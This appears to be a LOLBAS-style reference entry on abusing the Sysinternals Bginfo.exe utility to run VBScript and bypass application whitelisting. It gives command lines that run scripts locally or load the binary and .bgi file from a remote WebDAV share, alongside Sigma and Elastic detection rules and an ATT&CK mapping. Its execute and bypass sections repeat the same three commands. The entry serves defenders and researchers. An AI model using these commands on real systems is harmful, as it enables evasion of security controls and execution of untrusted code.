.. /Bginfo.exe

Execute (WSH) | AWL bypass (WSH)

Background Information Utility included with SysInternals Suite

Paths:
no default

Resources:
- https://oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/

Acknowledgements:
- Oddvar Moe (@oddvarmoe)

Detections:
- Sigma: proc_creation_win_lolbin_bginfo.yml
- Elastic: defense_evasion_unusual_process_network_connection.toml
- Elastic: defense_evasion_network_connection_from_windows_binary.toml
- BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

Execute

1. Execute VBscript code that is referenced within the bginfo.bgi file.

```
bginfo.exe bginfo.bgi /popup /nolicprompt
```

Use case: Local execution of VBScript
Privileges required: User
Operating systems: Windows
ATT&CK® technique: T1218: System Binary Proxy Execution
Tags: Execute: WSH

2. Execute bginfo.exe from a WebDAV server.

```
\\10.10.10.10\webdav\bginfo.exe bginfo.bgi /popup /nolicprompt
```

Use case: Remote execution of VBScript
Privileges required: User
Operating systems: Windows
ATT&CK® technique: T1218: System Binary Proxy Execution
Tags: Execute: WSH

3. This style of execution may not longer work due to patch.

```
\\live.sysinternals.com\Tools\bginfo.exe \\10.10.10.10\webdav\bginfo.bgi /popup /nolicprompt
```

Use case: Remote execution of VBScript
Privileges required: User
Operating systems: Windows
ATT&CK® technique: T1218: System Binary Proxy Execution
Tags: Execute: WSH

AWL bypass

1. Execute VBscript code that is referenced within the bginfo.bgi file.

```
bginfo.exe bginfo.bgi /popup /nolicprompt
```

Use case: Local execution of VBScript
Privileges required: User
Operating systems: Windows
ATT&CK® technique: T1218: System Binary Proxy Execution
Tags: Execute: WSH

2. Execute bginfo.exe from a WebDAV server.

```
\\10.10.10.10\webdav\bginfo.exe bginfo.bgi /popup /nolicprompt
```

Use case: Remote execution of VBScript
Privileges required: User
Operating systems: Windows
ATT&CK® technique: T1218: System Binary Proxy Execution
Tags: Execute: WSH

3. This style of execution may not longer work due to patch.

```
\\live.sysinternals.com\Tools\bginfo.exe \\10.10.10.10\webdav\bginfo.bgi /popup /nolicprompt
```

Use case: Remote execution of VBScript
Privileges required: User
Operating systems: Windows
ATT&CK® technique: T1218: System Binary Proxy Execution
Tags: Execute: WSH